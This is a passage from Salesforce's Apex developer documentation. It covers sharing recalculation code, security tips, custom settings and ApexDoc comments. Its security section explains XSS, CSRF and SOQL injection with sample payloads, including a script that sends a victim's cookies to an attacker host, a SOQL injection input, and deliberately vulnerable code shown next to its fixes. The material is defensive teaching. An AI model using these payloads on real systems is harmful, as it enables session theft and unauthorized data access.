    Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    String[] toAddresses = new String[] {emailAddress};
    mail.setToAddresses(toAddresses);
    mail.setSubject('Apex Sharing Recalculation Exception');
    mail.setPlainTextBody(
        'The Apex sharing recalculation threw the following exception: ' +
            e.getMessage());
    Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

// The finish method is called at the end of a sharing recalculation.

```

```

global void finish(Database.BatchableContext BC){
    // Send an email to the Apex job's submitter notifying of job completion.
    Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    String[] toAddresses = new String[] {emailAddress};
    mail.setToAddresses(toAddresses);
    mail.setSubject('Apex Sharing Recalculation Completed. ');
    mail.setPlainTextBody
        ('The Apex sharing recalculation finished processing');
    Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}

```

Testing Apex Managed Sharing Recalculations

This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set the organization-wide default sharing for Job to Private. Note that since email messages aren't sent from tests, and because the batch class is invoked by a test method, the email notifications won't be sent in this case.

```

@isTest
private class JobSharingTester {

    // Test for the JobSharingRecalc class
    static testMethod void testApexSharing(){
        // Instantiate the class implementing the Database.Batchable interface.
        JobSharingRecalc recalc = new JobSharingRecalc();

        // Select users for the test.
        List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
        ID User1Id = users[0].Id;
        ID User2Id = users[1].Id;

        // Insert some test job records.
        List<Job__c> testJobs = new List<Job__c>();
        for (Integer i=0;i<5;i++) {
            Job__c j = new Job__c();
            j.Name = 'Test Job ' + i;
            j.Recruiter__c = User1Id;
            j.Hiring_Manager__c = User2Id;
            testJobs.add(j);
        }
        insert testJobs;

        Test.startTest();

        // Invoke the Batch class.
        String jobId = Database.executeBatch(recalc);

        Test.stopTest();

        // Get the Apex job and verify there are no errors.
        AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,

```

```

        CompletedDate, CreatedDate, NumberOfErrors
        from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);

// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
    (SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
    WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
    RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
    FROM Job__c];

// Validate that Apex managed sharing exists on jobs.
for(Job__c job : jobs){
    // Two Apex managed sharing records should exist for each job
    // when using the Private org-wide default.
    System.assert(job.Shares.size() == 2);

    for(Job__Share jobShr : job.Shares){
        // Test the sharing record for hiring manager on job.
        if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
            System.assertEquals(jobShr.UserOrGroupId, job.Hiring_Manager__c);
            System.assertEquals(jobShr.AccessLevel, 'Read');
        }
        // Test the sharing record for recruiter on job.
        else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
            System.assertEquals(jobShr.UserOrGroupId, job.Recruiter__c);
            System.assertEquals(jobShr.AccessLevel, 'Edit');
        }
    }
}
}
}
}

```

Associating an Apex Class Used for Recalculation

An Apex class used for recalculation must be associated with a custom object.

To associate an Apex managed sharing recalculation class with a custom object:

1. From the management settings for the custom object, go to Apex Sharing Recalculations.
2. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the `Database.Batchable` interface. You cannot associate the same Apex class multiple times with the same custom object.
3. Click **Save**.

Security Tips for Apex and Visualforce Development

Understanding Security

The powerful combination of Apex and Visualforce pages allows Lightning Platform developers to provide custom functionality and business logic to Salesforce or to create a new standalone product running inside the Lightning Platform. But as with any programming language, developers must be cognizant of potential security-related pitfalls.

Salesforce has incorporated several security defenses in the Lightning Platform. But careless developers can still bypass the built-in defenses and then expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Lightning Platform are similar to general web application security vulnerabilities, while others are unique to Apex.

To certify an application for AppExchange, it's important for developers to learn and understand the security flaws described. For more information, see the Lightning Platform Security Resources page on Salesforce Developers. <https://developer.salesforce.com/page/Security>.

Open Redirects Through Static Resources

URL redirects automatically send a user to a different web page. Redirects are often used to guide navigation to a website, or refer multiple domain names belonging to the same owner to refer to a single website. Unfortunately for developers, attackers can exploit URL redirects when not implemented properly. Open redirect (also known as “arbitrary redirect”) is a common web application vulnerability where values controlled by the user determine where the app redirects.

 **Warning:** Open redirects through static resources can expose users to the risk of unintended, and possibly malicious, redirects.

Only admins with “Customize Application” permissions can upload static resources within an organization. Admins with this permission must use caution to ensure that static resources don't contain malicious content. To learn how to help guard against static resources that were obtained from third parties, see [Referencing Untrusted Third-Party Content with iframes](#) .

[Cross Site Scripting \(XSS\)](#)

[Unescaped Output and Formulas in Visualforce Pages](#)

When using components that have set the `escape` attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions.

[Cross-Site Request Forgery \(CSRF\)](#)

[SOQL Injection](#)

[Data Access Control](#)

The Salesforce Platform makes extensive use of data sharing rules. Each object has permissions and can have sharing settings that users can read, create, edit, and delete. These settings are enforced when using all standard controllers.

Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks are where malicious HTML or client-side scripting is provided to a web application. The web application includes malicious scripting in a response to a user who unknowingly becomes the victim of the attack. The attacker uses the web application as an intermediary in the attack, taking advantage of the victim's trust for the web application. Most applications that display dynamic web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is shown to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives.

For example, assume this script is included in a Lightning Platform page using a script component, an `on*` event, or a Visualforce page.

```
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>
```

This script block inserts the value of the user-supplied `userparam` onto the page. The attacker can then enter this value for `userparam`.

```
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
```

In this case, all cookies for the current page are sent to `www.attacker.com` as the query string in the request to the `cookie.cgi` script. At this point, the attacker has the victim's session cookie and can connect to the web application as if they were the victim.

The attacker can post a malicious script using a website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These attacks range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, which allow an attacker full access to the victim's session.

For more information on this type of attack:

- http://www.owasp.org/index.php/Cross_Site_Scripting
- <http://www.cgisecurity.com/xss-faq.html>
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- <http://www.google.com/search?q=cross-site+scripting>

Within the Lightning Platform, several anti-XSS defenses are in place. For example, Salesforce has filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws are largely mitigated. But the creative developer can still find ways to intentionally or accidentally bypass the default controls.

Existing Protection

All standard Visualforce components, which start with `<apex>`, have anti-XSS filters in place to screen out harmful characters. For example, this code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the `<apex:outputText>` tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the `<` character is converted to `<`; so that a literal `<` appears on the user's screen.

```
<apex:outputText>
    {!$CurrentPage.parameters.userInput}
</apex:outputText>
```

Disabling Escape on Visualforce Tags

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. You can disable this behavior by setting the optional attribute `escape="false"`. For example, this output is vulnerable to XSS attacks.

```
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
```

Programming Items Not Protected from XSS

Custom Javascript code and code within `<apex:includeScript>` components don't have built-in XSS protections. These items allow the developer to customize the page with script commands. It doesn't make sense to include anti-XSS filters on commands that are intentionally added to a page.

If you write your own JavaScript, the Lightning Platform has no way to protect you. For example, this code is vulnerable to XSS if used in JavaScript.

```
<script>
    var foo = location.search;
    document.write(foo);
</script>
```

With the `<apex:includeScript>` Visualforce component, you can include a custom script on a page. Make sure to validate that the content is safe and includes no user-supplied data. For example, this snippet is vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter as in the example, they're able to direct the victim to include any JavaScript file from any other website.

```
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
```

Unescaped Output and Formulas in Visualforce Pages

When using components that have set the `escape` attribute to `false`, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions.

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. It's important to be aware that the output that's generated by expressions isn't escaped during rendering. Since expressions are rendered on the server, it's not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.

A common vulnerability is created by rerendering user input on a page. For example,

```
<apex:page standardController="Account">
  <apex:form>
    <apex:commandButton rerender="outputIt" value="Update It"/>
    <apex:inputText value="{!myTextField}"/>
  </apex:form>

  <apex:outputPanel id="outputIt">
    Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
  </apex:outputPanel>
</apex:page>
```

The unescaped `{!myTextField}` results in a cross-site scripting vulnerability. For example, if the user enters :

```
<script>alert('xss')
```

and clicks **Update It**, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.

There are several functions that you can use for escaping potentially insecure strings.

HTMLENCODE

Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as `>`.

JSENCODE

Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').

JSINHTMLENCODE

Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. `JSINHTMLENCODE (someValue)` is a convenience function that is equivalent to `JSENCODE (HTMLENCODE (someValue))`. That is, `JSINHTMLENCODE` first encodes `someValue` with `HTMLENCODE`, and then encodes the result with `JSENCODE`.

URLENCODE

Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in *RFC 3986, Uniform Resource Identifier (URI): Generic Syntax*. For example, blank spaces are replaced with `%20`, and exclamation points are replaced with `%21`.

To use `HTMLENCODE` to secure the previous example, change the `<apex:outputText>` to the following:

```
<apex:outputText value=" {!HTMLENCODE(myTextField)} " escape="false"/>
```

If a user enters `<script>alert('xss')` and clicks **Update It**, the JavaScript is not be executed. Instead, the string is encoded and the page displays Value of myTextField is `<script>alert('xss')`.

Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:

```
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
```

requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of the HTML escaped ". Otherwise, the request:

```
https://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
```

results in:

```
<script>var ret = "foo";alert('xss');//";</script>
```

When the page loads the JavaScript executes, and the alert is displayed.

In this case, to prevent JavaScript from being executed, use the `JSENCODE` function. For example

```
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
```

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less a programming mistake and more a lack of a defense. For example, an attacker has a web page at `www.attacker.com` that could be any web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:

```

```

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your web page when they visit the attacker's web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your web page. This attack is a simple example, and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.

For more information and traditional defenses:

- http://www.owasp.org/index.php/Cross-Site_Request_Forgery
- <http://www.cgisecurity.com/csrf-faq.html>
- <http://shiflett.org/articles/cross-site-request-forgeries>

Within the Lightning Platform, Salesforce implemented an anti-CSRF token to prevent such an attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and doesn't execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods.

Here again, the developer can bypass the built-in defenses without realizing the risk. For example, a custom controller takes the object ID as an input parameter and then uses that input parameter in a SOQL call.

```
<apex:page controller="myClass" action="{!init}"></apex:page>
```

```
public class myClass {
    public void init() {
        Id id = ApexPages.currentPage().getParameters().get('id');
        Account obj = [select id, Name FROM Account WHERE id = :id];
        delete obj;
        return ;
    }
}
```

The developer unknowingly bypassed the anti-CSRF controls by developing their own action method. The `id` parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacking web page can send the user to this page by using a CSRF attack and providing any value for the `id` parameter.

There are no built-in defenses for such situations, and developers must be cautious about writing pages that act based on a user-supplied parameter like the `id` variable in the previous example. A possible work-around is to insert an intermediate confirmation page to make sure that the user intended to call the page. Other suggestions include shortening the idle session timeout and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

Because of the Salesforce built-in defense against CSRF, your users can encounter an error when multiple Salesforce login pages are open. If the user logs in to Salesforce in one tab and then attempts to log in on another, they see this error: The page you submitted was invalid for your session. Users can successfully log in by refreshing the login page or by attempting to log in a second time.

SOQL Injection

In other programming languages, the previous flaw is known as SQL injection. Apex doesn't use SQL, but uses its own database query language, SOQL. SOQL is simpler and more limited in functionality than SQL. The risks are lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. SQL/SOQL injection takes user-supplied input and uses those values in a dynamic SOQL query. If the input isn't validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands.

SOQL Injection Vulnerability in Apex

Here's a simple example of Apex and Visualforce code vulnerable to SOQL injection.

```
<apex:page controller="SOQLController" >
    <apex:form>
        <apex:outputText value="Enter Name" />
        <apex:inputText value="{!name}" />
        <apex:commandButton value="Query" action="{!query}" />
    </apex:form>
</apex:page>
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    }
    public PageReference query() {
        String qryString = 'SELECT Id FROM Contact WHERE ' +
            '(IsDeleted = false and Name like \'%' + name + '%\')';
        List<Contact> queryResult = Database.query(qryString);
        System.debug('query result is ' + queryResult);
        return null;
    }
}
```

This simple example illustrates the logic. The code is intended to search for contacts that weren't deleted. The user provides one input value called `name`. The value can be anything provided by the user, and it's never validated. The SOQL query is built dynamically and then executed with the `Database.query` method. If the user provides a legitimate value, the statement executes as expected.

```
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
```

But what if the user provides unexpected input, such as:

```
// User supplied value for name: test%) OR (Name LIKE '
```

In that case, the query string becomes:

```
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%) OR (Name LIKE '%')
```

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.

SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The preceding vulnerable example can be rewritten using static SOQL.

```
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    }
    public PageReference query() {
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE
            (IsDeleted = false and Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null;
    }
}
```

If you must use dynamic SOQL, use the `escapeSingleQuotes` method to sanitize user-supplied input. This method adds the escape character (`\`) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control

The Salesforce Platform makes extensive use of data sharing rules. Each object has permissions and can have sharing settings that users can read, create, edit, and delete. These settings are enforced when using all standard controllers.

When using an Apex class, the default behavior is to respect built-in user permissions and field-level security restrictions during execution, that is, as if the class were declared as `with sharing`. For example, consider this Apex pseudo-code.

```
public class customController {
    public void read() {
        Contact contact = [SELECT id FROM Contact WHERE Name = :value];
    }
}
```

In this case, only contact records for the current user are searched.

The platform uses the security sharing permissions of the user currently logged in, rather than granting full access to all records.

Custom Settings

Custom settings are similar to custom objects. Application developers can create custom sets of data and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. Formula fields, validation rules, flows, Apex, and SOAP API can then use this data.



Warning: Protection only applies to custom settings that are marked protected and installed to a subscriber organization as part of a managed package. Otherwise, they are treated as public custom settings and are readable for all profiles, including the guest user. Do not store secrets, personally identifying information, or any private data in these settings. Use protected custom settings only in managed packages. Outside of a managed package, use named credentials or encrypted custom fields to store secrets like OAuth tokens, passwords, and other confidential material.



Note: While custom settings data is included in sandbox copies, it is treated as data for the purposes of Apex test isolation. Apex tests must use `SeeAllData=true` to see existing custom settings data in the organization. As a best practice, create the required custom settings data in your test setup.

There are two types of custom settings.

List Custom Settings

A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings doesn't vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.

Hierarchy Custom Settings

A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.

To get custom setting data set record based on the lowest level fields defined in the hierarchy, use the `getInstance()` instance method for hierarchy custom settings.

The following examples illustrate how you can use custom settings.

- A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the database.
- An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the “Sales Rep” profile.

You can create a custom setting in the Salesforce user interface: from Setup, enter *Custom Settings* in the Quick Find box, then select **Custom Settings**. After creating a custom setting and you've added fields, provide data to your custom setting by clicking **Manage** from the detail page. Identify each data set with a name.

For example, if you have a custom setting named `Foundation_Countries__c` with one text field `Country_Code__c`, your data sets can look like the following:

Data Set Name	Country Code Field Value
United States	USA

Canada	CAN
United Kingdom	GBR

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the `visibility` setting.

 **Note:** Only custom settings definitions are included in packages, not data. To include data, you must populate the custom settings using Apex code run by the subscribing organization after they've installed the package.

Apex can access both custom setting types—list and hierarchy.

 **Note:** If **Privacy** for a custom setting is `Protected` and the custom setting is contained in a managed package, the subscribing organization can't edit the values or access them using Apex.

Accessing a List Custom Setting

The following example returns a map of custom settings data. The `getAll` method returns values for all custom fields associated with the list setting.

```
Map<String__dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();
```

The following example uses the `getValues` method to return all the field values associated with the specified data set. This method can be used with both list and hierarchy custom settings, using different parameters.

```
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
```

Accessing a Hierarchy Custom Setting

The following example uses the `getOrgDefaults` method to return the data set values for the organization level:

```
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();
```

The following example uses the `getInstance` method to return the data set values for the specified profile. The `getInstance` method can also be used with a user ID.

```
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
```

SEE ALSO:

[Apex Reference Guide: Custom Settings Methods](#)

Document Your Apex Code

ApexDoc is a standardized comment format that makes it easier for humans, documentation generators, and AI agents to understand your codebase. We recommend using ApexDoc comments to facilitate code collaboration and increase long-term code maintainability. Based on the JavaDoc standard, ApexDoc provides specifications, such as specialized tags and guidelines, that are tailored to Apex and the Salesforce ecosystem.

[ApexDoc Comment Structure and Tags](#)

To promote consistency and parsability, ApexDoc comments have a defined structure and syntax. Each ApexDoc comment consists of a main description and a set of block and inline tags that provide information about the documented code element.

[Document Apex Constructs and Features](#)

Apex has unique constructs and platform-specific features that require particular attention in documentation. Use these guidelines to document these elements with ApexDoc.

[ApexDoc Examples](#)

See practical examples of ApexDoc comments applied to various Apex constructs.

ApexDoc Comment Structure and Tags

To promote consistency and parsability, ApexDoc comments have a defined structure and syntax. Each ApexDoc comment consists of a main description and a set of block and inline tags that provide information about the documented code element.

 **Important:** Although the Apex compiler enforces existing [Apex comment syntax](#) on page 50, it doesn't enforce the ApexDoc syntax or check comment accuracy in relation to corresponding Apex code.

Basic Comment Format

ApexDoc comments are distinguished from [other Apex comments](#) on page 50 by their starting delimiter. Whereas other multiline comments demarcate the beginning and end of the comment block with `/*` and `*/`, ApexDoc comments begin with `/**` and end with `*/`.

An ApexDoc comment immediately precedes the class, interface, enum, method, constructor, or property declaration that it documents. No other code or comments are between the ApexDoc comment block and the element that it describes.

If an ApexDoc comment spans multiple lines, each subsequent line begins with an asterisk (*). Documentation parsers ignore the leading asterisk and any whitespace that precedes it on the line.

```
/**
 * This is a simple ApexDoc comment.
 */
public with sharing class MyClass {
    //...
}
```

Main Description

The main description is the first block of text within an ApexDoc comment. It doesn't have an explicit tag. It provides a concise summary of the documented element.

In the main description, first include a one-sentence summary of the element. Documentation generation tools often extract this first sentence to use in summary tables or indexes. End the summary sentence with a period.

After the summary sentence, include any additional context about the element. For example, explain pre- or post- conditions, link to relevant documents, or describe variable constraints.

Block and Inline Tags

Block tags and inline tags provide structured information about the element.

Use block tags after the main description of the ApexDoc comment. Block tags begin with the @ symbol followed by the tag name, such as @param, @return, and @author. Each block tag appears on a new line, and the information associated with a block tag follows the tag name on the same line or subsequent lines.

Use inline tags within the main description or within the description of a block tag. Inline tags also begin with the @ symbol followed by the tag name, but the tags are enclosed in curly braces ({ @ . . . }).

This table provides a comprehensive ApexDoc tag reference.

Table 3: ApexDoc Tags

Tag	Applicable Apex Elements	Description and Example
@author value	Class, Interface, Enum	Specifies the author or authors of the element code. Multiple @author tags are allowed. <pre>* @author Marie Hill * @author Ben Stuar</pre>
@deprecated description	All	Marks an element as deprecated. In the tag description, provide a reason and an alternative. <pre>* @deprecated in 1.3.2. * Use {@link #newFieldName} instead.</pre>
@example example	All	Provides a usage example. The example is formatted as code if the {@code ... } inline tag is used. <pre>* @example * {@code * Account a; * try { * a = new AccountManager().createAccount('Acme', 'Agriculture'); * } catch (AccountManager.AccountException caught) { * LOGGER.log(caught); * // further exception handling * } * }</pre>
@group groupName	Class, Interface, Enum, Method, Property, Variable	Specifies the element's group in documentation. Grouping elements is useful for generated documentation. <pre>* @group Account</pre>
@param paramName	Method, Constructor	Describes a method or constructor parameter. It must match the parameter order and name. <pre>* @param accountName The desired name for the new * account. Cannot be null or empty.</pre>

Tag	Applicable Apex Elements	Description and Example
<code>@return</code> <i>description</i>	Method	Describes the return value of a method. Don't use the <code>@return</code> tag for void methods or constructors. <pre>* @return The newly created Account sObject with its * ID populated.</pre>
<code>@see</code> <i>reference</i>	All	Adds a reference in the See Also section of the documentation. The <code>@see</code> tag allows these syntaxes. <code>@see class#member</code> <code>@see "text-string"</code> <code>@see label</code> For the <code>@see class#member</code> syntax: class—The fully-qualified name of the class or interface that you want to link to. #member—The specific member within a class that you want to link to. For example, - For fields or properties, use <code>#fieldName</code>. - For constructors, use <code>#ClassName(parameterTypes)</code>. - For methods, use <code>#methodName(parameterTypes)</code>. The parameterTypes are important to distinguish overloaded methods. Use the fully-qualified name for the parameter types if they're from a different package. <pre>* @see GeolocationService#GeocodingException</pre>
<code>@since</code> <i>value</i>	All	Indicates the version or date that the element was introduced. This tag is particularly useful for package authors. <pre>* @since 0.1.0</pre>
<code>@throws</code> <i>exceptionType</i> <i>description</i>	Method, Constructor	Documents an exception that can be thrown. <pre>* @throws AccountManager.AccountException if * accountName is invalid or if DML operation fails.</pre>
<code>@version</code> <i>value</i>	Class, Interface, Enum	Specifies the version of the element. <pre>* @version 0.2.0</pre>

Tag	Applicable Apex Elements	Description and Example
<code>{@code text}</code>	ApexDoc comment	Formats comment text as inline code. <pre> * {@code * Account a; * try { * a = new AccountManager().createAccount('Acme', 'Agriculture'); * } catch (AccountManager.AccountException caught) { * LOGGER.log(caught); * // further exception handling * } * }</pre>
<code>{@hidden text}</code>	All	Prevents an element from appearing in generated docs. <pre> * {@hidden NOTE TO MAINTAINERS: Update this method * if new security threats are identified. * The current regex is designed to handle common XSS * patterns but may not be exhaustive. * The last major update was in v2.1.}</pre>
<code>{@link reference}</code>	ApexDoc comment	Creates an inline link to another element. The <code>@link</code> tag allows these syntaxes. <code>@link class#member</code> <code>@link "text-string"</code> <code>@link label</code> For the <code>@link class#member</code> syntax: class—The fully-qualified name of the class or interface that you want to link to. #member—The specific member within a class that you want to link to. For example, - For fields or properties, use <code>#fieldName</code>. - For constructors, use <code>#ClassName(parameterTypes)</code>. - For methods, use <code>#methodName(parameterTypes)</code>. The parameterTypes are important to distinguish overloaded methods. Use the fully-qualified name for the parameter types if they're from a different package. <pre> * Populated after using the {@link AccountService}.</pre>

Tag	Applicable Apex Elements	Description and Example
<code>{@literal text}</code>	ApexDoc comment	Shows text literally without HTML tag interpretation. <pre>* This string might contain malicious or unexpected characters, * like a {@literal <script>} tag or a backslash {@literal \}.</pre>

SEE ALSO:

[Document Apex Constructs and Features](#)

[ApexDoc Examples](#)

Document Apex Constructs and Features

Apex has unique constructs and platform-specific features that require particular attention in documentation. Use these guidelines to document these elements with ApexDoc.

Classes

When you document an [Apex class](#) on page 62, provide a comprehensive overview of the class's purpose, responsibilities, and key characteristics.

In the summary sentence, describe the class's overall purpose. After the summary sentence, explain the rationale for the class's [sharing model](#) on page 90 if it's not obvious. For example, explain why the class uses `without sharing` for a specific privileged operation. We also recommend using tags such as `@author`, `@version`, `@since`, `@see`, and `@group`, which all provide valuable metadata.

Here's an example ApexDoc comment for the `DataAggregationService` class.

```
/**
 * This service class handles critical data aggregation tasks.
 * It operates using 'without sharing' to ensure access to all necessary
 * records for calculation, irrespective of the running user's sharing rules.
 * Care must be taken when calling methods from this class.
 * @author Jane Doe
 * @since 0.1.0
 */
public without sharing class DataAggregationService {
    //...
}
```

Interfaces

[Apex interfaces](#) on page 82 define a contract for what other classes can do without specifying how they do it. Focus your ApexDoc comments on this contract. In the main description, document the interface's overall purpose and the contract that it defines. Standard metadata tags such as `@author`, `@version`, `@since`, and `@see` are also applicable.

Document each method declaration in the interface as a standard method. Clearly explain the method's expected behavior, parameters, and return values. This documentation sets expectations for any class that implements the interface.

For an example of an interface with an ApexDoc comment, see [ApexDoc Examples](#) on page 252.

Enums

[Enums](#) on page 34 in Apex define an abstract data type with a finite set of named constant values. In the main description, document the enum's purpose and the set of concepts that it represents. You can also use standard tags such as `@author`, `@version`, `@since`, and `@see`.

Clarify individual enum constants if their names aren't self-explanatory. Either describe a constant's definition in the enum type's ApexDoc main description, or use standard block comments that directly precede the line for the constant.

Apex enums implicitly include methods such as `values()`, `valueOf(String)`, `name()`, and `ordinal()`. These standard methods generally don't require explicit documentation within each specific enum's ApexDoc comment.

Here's an example ApexDoc comment for the `Season` enum.

```
/**
 * Potential seasons of the year
 */
public enum Season {
    WINTER,
    SPRING,
    SUMMER,
    FALL
}
```

Methods and Constructors

[Method](#) on page 65 and [constructor](#) on page 68 documentation is critical for understanding how to use an Apex class.

When you document method and constructor parameters, use the `@param` block tag. Each parameter must have a corresponding `@param` tag. In the parameter description, describe the parameter's name, its purpose, and any expectations regarding its type or content. Descriptions can include statements such as "Cannot be null" or "A valid 18-character ID".

For methods that return values, use the `@return` block tag. In the description, specify what is returned, including conditions for null values or specific data structures. Descriptions can include statements such as "A List of Account sObjects matching the filter criteria; an empty list if no matches are found."

Use the `@throws` block tag to list all significant checked and unchecked exceptions that the method can explicitly throw, along with the conditions causing them. This documentation is crucial for identifying gaps in error handling.

For examples of methods and constructors with ApexDoc comments, see [ApexDoc Examples](#) on page 252.

Properties and Variables

Document public or global properties and class member variables that form part of a class's public API.

In the ApexDoc comment's main description section, explain the property's purpose, its data type if it's unclear from the method declaration, and any important usage notes. For example, include whether the property is read-only after initialization, or its default value. Block tags such as `@see`, `@since`, and `@deprecated` can also be applicable.

Here's an example ApexDoc comment for the public `maxRetries` variable.

```
/**
 * Stores the maximum number of retry attempts for an operation.
 * Defaults to 3 if not explicitly set.
 * @since 0.1.1
 */
public Integer maxRetries {
    get {
```

```

    return maxRetries ?? 3;
}
set { maxRetries = value; }
}

```

Triggers

[Apex triggers](#) on page 265 are event-driven pieces of code that execute in response to specific database operations. Apex trigger definitions provide significant context, so we strongly recommend that you delegate all business logic to a separate handler class or a trigger framework. Therefore, ApexDoc doesn't have any trigger-specific comment specifications.

However, you can still include standard ApexDoc tags such as `@since` and `@see`. For example, here's a ApexDoc comment for the `Opportunity` trigger.

```

/**
 * @since 1.3.2
 */
trigger OpportunityTrigger on Opportunity (
    before insert,
    after insert,
    before update,
    after update,
    before delete,
    after delete,
    after undelete
) {
    new OpportunityTriggerHandler().run();
}

```

Annotations

[Apex annotations](#) on page 92, such as `@AuraEnabled` and `@Future`, modify the way a class or method is used by the platform and other code. For an element that has an annotation, document the implications of that annotation for the element's behavior or usage.

Refer to this table as you write ApexDoc comments for elements with Apex annotations.

Table 4: Document Common Apex Annotations

Apex Annotation	Guidance for the ApexDoc Comment of the Annotated Element
